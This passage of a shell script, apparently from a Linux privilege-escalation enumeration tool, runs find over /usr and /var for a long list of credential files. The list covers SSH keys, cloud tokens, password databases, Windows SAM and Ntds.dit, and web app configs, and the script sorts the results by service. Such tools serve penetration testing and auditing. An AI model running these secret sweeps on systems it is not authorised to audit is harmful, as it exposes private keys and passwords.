FIND_USR=`eval_bckgrd "find /usr -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"ssh*config\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_VAR=`eval_bckgrd "find /var -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"sess_*\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
|
||||
|
||||
wait # Always wait at the end
|
||||
CONT_THREADS=0 #Reset the threads counter
|
||||
|
||||
#GENERATE THE STORAGES OF THE FOUND FILES
|
||||
PSTORAGE_SYSTEMD=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^$GREPHOMESEARCH|^/srv|^/systemd|^/tmp|^/lib|^/var|^/snap|^/opt|^/lib64|^/media|^/applications|^/cdrom|^/etc|^/usr|^/.cache|^/sbin|^/lib32|^/run|^/system|^/bin|^/mnt|^/sys|^/private" | grep -E ".*\.service$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_TIMER=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^$GREPHOMESEARCH|^/srv|^/systemd|^/tmp|^/lib|^/var|^/snap|^/opt|^/lib64|^/media|^/applications|^/cdrom|^/etc|^/usr|^/.cache|^/sbin|^/lib32|^/run|^/system|^/bin|^/mnt|^/sys|^/private" | grep -E ".*\.timer$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SOCKET=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^$GREPHOMESEARCH|^/srv|^/systemd|^/tmp|^/lib|^/var|^/snap|^/opt|^/lib64|^/media|^/applications|^/cdrom|^/etc|^/usr|^/.cache|^/sbin|^/lib32|^/run|^/system|^/bin|^/mnt|^/sys|^/private" | grep -E ".*\.socket$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DBUS=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MYSQL=$(echo -e "$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "mysql$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MARIADB=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_POSTGRESQL=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_APACHE=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN\n$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "sites-enabled$|000-default\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/private|^/mnt|^/tmp|^/var" | grep -E "sess_.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PHP_FILES=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_WORDPRESS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "wp-config\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DRUPAL=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E '/default/settings.php' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "settings\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MOODLE=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E 'moodle/config.php' | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "config\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_TOMCAT=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MONGO=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SUPERVISORD=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CESI=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "cesi\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_RSYNC=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HOSTAPD=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_RACOON=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_VNC=$(echo -e "$FIND_ETC\n$FIND_LIB32\n$FIND_SYS\n$FIND_SBIN\n$FIND_HOMESEARCH\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_TMP\n$FIND_LIB\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_CACHE\n$FIND_PRIVATE\n$FIND_CDROM\n$FIND_OPT\n$FIND_VAR\n$FIND_SRV\n$FIND_SNAP\n$FIND_LIB64\n$FIND_MEDIA\n$FIND_USR\n$FIND_MNT\n$FIND_RUN\n$FIND_DIR_SRV\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_SBIN" | grep -E "^/snap|^/cdrom|^/bin|^$GREPHOMESEARCH|^/etc|^/mnt|^/usr|^/.cache|^/sbin|^/srv|^/tmp|^/opt|^/private|^/applications|^/media|^/var" | grep -E 